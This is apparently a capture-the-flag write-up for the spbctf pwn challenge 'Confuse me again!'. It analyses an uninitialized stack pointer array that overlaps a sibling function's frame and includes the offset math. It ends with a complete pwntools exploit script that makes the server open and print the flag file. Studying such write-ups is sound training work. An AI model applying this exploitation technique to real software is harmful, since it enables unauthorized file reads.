Confuse me again!
Confuse me again!
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: fopen_arbitrary_file, sprintf_path_traversal, stack_frame_overlap, type_confusion, uninitialized_stack
Summary
Task: NON-PIE pwn where read_files() iterates an uninitialized stack pointer-array and sprintf/fopen's a path from each 'block'; option 'sort+read' first fills the overlapping stack region with attacker-controlled malloc'd buffers. Solution: exploit the stack-frame overlap (read_files[j] == sort_data[j+640]) to alias our buffers as file records, forging block[0]='pwned_folder' and block[0x100]='flag.txt' so fopen reads the flag.
Confuse me again! — spbctf
Description
Confuse me again! nc 109.233.56.90 11722 binary: confuse_me_again.elf (https://pwn.spbctf.ru/files/uaf/confuse_me_again/)
A NON-PIE x86-64 pwn challenge. Despite living under a /files/uaf/ URL, there is
no heap use-after-free — free is never imported. The real bug is an
uninitialized stack pointer-array consumed as a "file record" table, i.e. a
type/stack confusion between two sibling functions. Goal: read
pwned_folder/flag.txt on the server.
Analysis
Protections (checksec): NON-PIE (base 0x400000), NX, stack canary, Partial RELRO,
FORTIFY (__sprintf_chk). Symbols present: logic, read_files, sort_data,
read_n, menu.
logic() — the dispatcher
scanf("%d", &choice);
choice == 1 -> sort_data(); read_files(); // "sort + read"
choice == 2 -> read_files(); sort_data(); // "read + sort"
Both sort_data and read_files are called from the same logic() call site
level R (the callee return address sits at the same stack depth for each). This is
what makes their local frames overlap.
read_files() — the consumer of the confused array
For each record it does malloc(0x200) and writes two inline strings into the
block:
block[0] = "type1" / "type2" // the "folder"
block[0x100] = "foo.txt" / "bar.txt" // the "file"
Block pointers are stored in a stack array at rsp+0x10 that is never
zero-initialized. After the interactive record loop, a second loop walks that
array and, for each non-NULL entry b, builds a path and opens it:
c read-only • copy allowed__sprintf_chk(path, ..., "%s/%s", b /*folder*/, b + 0x100 /*file*/); FILE *f = fopen(path, "r"); fread(...); puts(...); fclose(f);
The loop stops at the first NULL slot. So any stale non-NULL pointer left on the
stack before read_files runs is dereferenced as a block, and its bytes at
offset 0 and 0x100 become the folder/file of an fopen.
sort_data() — the producer of controlled buffers
"sort not implemented". It loops up to 0x3ff times:
c read-only • copy allowedscanf("%d", &n); // attacker-controlled size p = malloc(n); read_n(p, n); // reads up to n bytes; stops ONLY on '\n', NOT on NUL array[idx] = p; // stack array at rsp+0x20 scanf("%d", &next); // "Next(1/0)?"
We fully control both the size and the entire content (including embedded NUL
bytes) of each buffer, and the buffer pointers get stored on sort_data's stack.
Stack overlap math (the "confusion")
Both callees start from the same return level R. From the prologues:
sort_data: 6 pushes (0x30) + sub 0x1000 + sub 0x1000 + sub 0x38 = 0x2068
pointer array base = R - 0x2048 ; entry k @ R - 0x2048 + 8*k
read_files: 6 pushes (0x30) + sub 0xc28 = 0xc58
pointer array base = R - 0xc48 ; entry j @ R - 0xc48 + 8*j
Solve for aliasing slots:
R - 0x2048 + 8*k == R - 0xc48 + 8*j
8*k - 8*j = 0x2048 - 0xc48 = 0x1400 = 8*640
=> k = j + 640
So read_files[j] aliases sort_data[j+640].
In order 1 (sort + read), sort_data runs first and leaves its buffer pointers on
the shared region; read_files then reads them as blocks. read_files[0] is
overwritten by read_files's own freshly-malloc'd legit block, so the first
attacker-controlled entry is:
read_files[1] == sort_data[641] -> a buffer we fully control
read_files will sprintf("%s/%s", buf[0], buf[0x100]) from our buffer and
fopen the result.
Solution
Choose order 1 (sort + read). Allocate ~720 buffers in sort_data, each of size
0x109, every one shaped as a fake read_files block:
buf[0x000] = "pwned_folder\0"
buf[0x100] = "flag.txt\0"
Because read_n stops only on '\n' (not on NUL), the NUL padding between the two
strings embeds cleanly. Filling many consecutive slots guarantees sort_data[641]
(and its neighbours up to the first NULL) hold our buffer, so
read_files[1] = "pwned_folder"/"flag.txt" → fopen("pwned_folder/flag.txt") →
puts leaks the flag. One legit read_files record (foo.txt/type1) provides
block[0] and terminates the record loop.
The whole input can be sent in one shot to avoid per-round latency on the slow remote.
python read-only • copy allowed#!/usr/bin/env python3 # Confuse me again! - spbctf pwn # # Bug: read_files() block-pointer array (stack rsp+0x10) is NOT zero-initialized. # When called after sort_data() (order 1 = "sort + read"), sort_data leaves # malloc'd buffer pointers on the overlapping stack region. read_files then # treats sort_data buffers as "file record" blocks and does: # sprintf(path, "%s/%s", block+0, block+0x100); fopen(path); fread; puts # We control the buffer content, so we make it open "pwned_folder/flag.txt". # # Overlap math (both callees from logic at same return level R): # sort_data array[k] @ R - 0x2048 + 8k # read_files array[j] @ R - 0xc48 + 8j # read_files[j] == sort_data[j+640] # read_files[0] gets overwritten by its own fresh block (legit). # read_files[1] == sort_data[641] -> our controlled buffer. import sys from pwn import * context.log_level = 'info' context.arch = 'amd64' HOST, PORT = "109.233.56.90", 11722 N = 720 # number of sort_data buffers to allocate def build_buf(): b = b"pwned_folder\x00" b = b.ljust(0x100, b"\x00") b += b"flag.txt\x00" return b # len 0x109 def solve(io): payload = build_buf() size = len(payload) szline = str(size).encode() + b"\n" # Build the ENTIRE input stream up-front and blast it (avoids per-round latency). buf = b"" buf += b"1\n" # logic: order 1 = sort + read for i in range(N): buf += szline # "data size?" -> size buf += payload # exactly `size` bytes read by read_n buf += (b"1\n" if i < N - 1 else b"0\n") # "Next(1/0)?" # read_files legit block[0] buf += b"1\n" # foo.txt buf += b"1\n" # type1 buf += b"0\n" # Next -> stop io.send(buf) return io.recvall(timeout=20) def main(): if len(sys.argv) > 1 and sys.argv[1] == "local": io = process(["./confuse_me_again.elf"]) else: io = remote(HOST, PORT) out = solve(io) sys.stdout.buffer.write(out) import re m = re.search(rb"spbctf\{[^}]*\}", out) if m: log.success("FLAG: " + m.group().decode()) if __name__ == "__main__": main()